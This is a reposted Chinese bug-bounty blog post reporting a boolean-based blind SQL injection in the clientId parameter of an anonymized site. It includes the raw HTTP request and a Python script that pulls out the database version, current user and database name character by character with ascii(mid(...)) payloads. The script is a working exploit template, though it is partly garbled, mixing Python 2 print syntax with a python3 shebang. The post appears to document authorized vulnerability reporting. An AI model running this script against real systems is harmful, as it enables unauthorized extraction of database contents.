码迷,mamicode.com
首页 > 数据库 > 详细

【高危】XX某站SQL注入

时间:2018-01-12 17:09:33      阅读:183      评论:0      收藏:0      [点我收藏+]

标签:布尔   requests   asc   chrome   user   win   aaa   apple   cli   

RANK 24

金币    24

等价RMB  240

与上一漏洞同源所以只有24

 

数据包:

GET /check?clientId=64915 HTTP/1.1

Host: aaa.bbb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36

Accept: */*

Cookie:XX

Connection: close

 

clientId参数存在布尔型注入,sqlmap没注出来数据,所以写了个脚本验证

脚本

按照惯例,代码中可能泄露漏洞相关位置信息的都给去掉了,或者打码了。很新鲜,还未修好。

 1 #! /usr/bin/env python3
 2 # Date : 1/5 16:04
 3 # Comment: no comment
 4 
 5 
 6 import requests
 7 
 8 raw_url = xxx
 9 burp0_cookies = {xxx}
10 burp0_headers = {xxx}
11 
12 
13 def get_version():
14     version = ‘‘
15     for i in range(1, 20):
16         for j in range(32, 127):
17             burp0_url = "http://aaa.bbb.com/check?clientId=54915‘/**/or/**/ascii(mid(version()," + str(i) + ",1))=" + str(j)
18             print burp0_url
19             try:
20                 res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
21             except Exception as e:
22                 continue
23             if "true" in res.text:
24                 version += chr(j)
25                 break
26         print(version:, version)
27 
28 
29 def get_user():
30     user = ‘‘
31     for i in range(1, 20):
32         for j in range(32, 127):
33             burp0_url = "http://aaa.bbb.com/check?clientId=54915‘/**/or/**/ascii(mid(user()," + str(i) + ",1))=" + str(j)
34             print burp0_url
35             try:
36                 res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
37             except Exception as e:
38                 continue
39             if "true" in res.text:
40                 user += chr(j)
41                 break
42         print(user:, user)
43 
44 
45 def get_db():
46     current_db = ‘‘
47     for i in range(1, 20):
48         for j in range(32, 127):
49             burp0_url = "http://aaa.bbb.com/check?clientId=54915‘/**/or/**/ascii(mid(database()," + str(i) + ",1))=" + str(j)
50             print burp0_url
51             try:
52                 res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
53             except Exception as e:
54                 continue
55             if "true" in res.text:
56                 current_db += chr(j)
57                 break
58         print(current_db:, current_db)
59 
60 get_version()
61 get_db()
62 get_user()

 

sqlmap跑不出,就是扫描器先跑出来,但是sqlmap验证不了,却又确实存在的,可以写脚本验证,这是一种思路吧。

 

【高危】XX某站SQL注入

标签:布尔   requests   asc   chrome   user   win   aaa   apple   cli   

原文地址:https://www.cnblogs.com/huim/p/8276302.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!